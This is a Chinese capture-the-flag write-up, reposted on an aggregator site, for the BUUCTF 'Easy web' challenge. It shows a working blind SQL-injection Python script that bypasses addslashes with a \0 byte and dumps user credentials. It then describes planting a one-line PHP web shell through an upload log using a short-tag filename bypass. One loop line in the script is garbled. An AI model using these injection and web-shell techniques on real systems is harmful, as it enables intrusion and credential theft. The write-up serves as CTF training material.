栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

2021-10-07 buuctf Easy web

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

2021-10-07 buuctf Easy web

Easy web

打开题目,用dirsearch扫到robots.txt

找到备份

发现只有image可用

下载备份

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

源码里还看到,还会把,%00,替换为空.

可以传递id和path两个参数,触发SQL注入,前提是要绕过对id和path的过滤。接下来想办法绕过过滤,主要是破坏单引号。

测试代码

 如果传入一个\0,经addslashes()函数后变成\

\0被过滤成空,最后传入id=’’,而转义了 ’ 致使id闭合,

select * from images where id='' or path='{$path}'

我们就可以在path处注入我们的新语句

借鉴大佬的python脚本(BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb_AndyNoel的博客-CSDN博客)

import requests
import time

"""
res =url + 'image.php?id=\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',test(res))  ciscnfinal
res =url + 'image.php?id=\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',test(res))   images,users
res =url + 'image.php?id=\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',test(res))   username,password

"""
url ='http://24d59353-1bc1-4f35-bda0-9d898cf151e9.node4.buuoj.cn:81/'
def test(url):
    s = ''
    for i in range(1,50):
        begin = 32
        ends = 126
        mid = (begin+ends)//2
        while begin             r = requests.get(url.format(i,mid))
            if r.content!=b'':
                begin = mid+1
                mid = (begin+ends)//2
            else:
                ends = mid
                mid = (begin+ends)//2
        if mid == 32:
            break
        s+=chr(mid)
        print(s)
    return s.rstrip()
res =url + 'image.php?id=\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',test(res))
res =url + 'image.php?id=\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',test(res))

跑出来的用户名为admin密码为87f24beb54295d600e67

随便上传一个php文件

被过滤

尝试抓包修改成phtml,发现没被过滤

 同时也发现,该文件是被写入到日志中

我们可以直接修改文件名写入一句话

因为文件名不允许出现php,所以我们可以用短标签绕过

修改文件名为

拿到写入位置

 蚁剑访问

 得到flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/300009.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号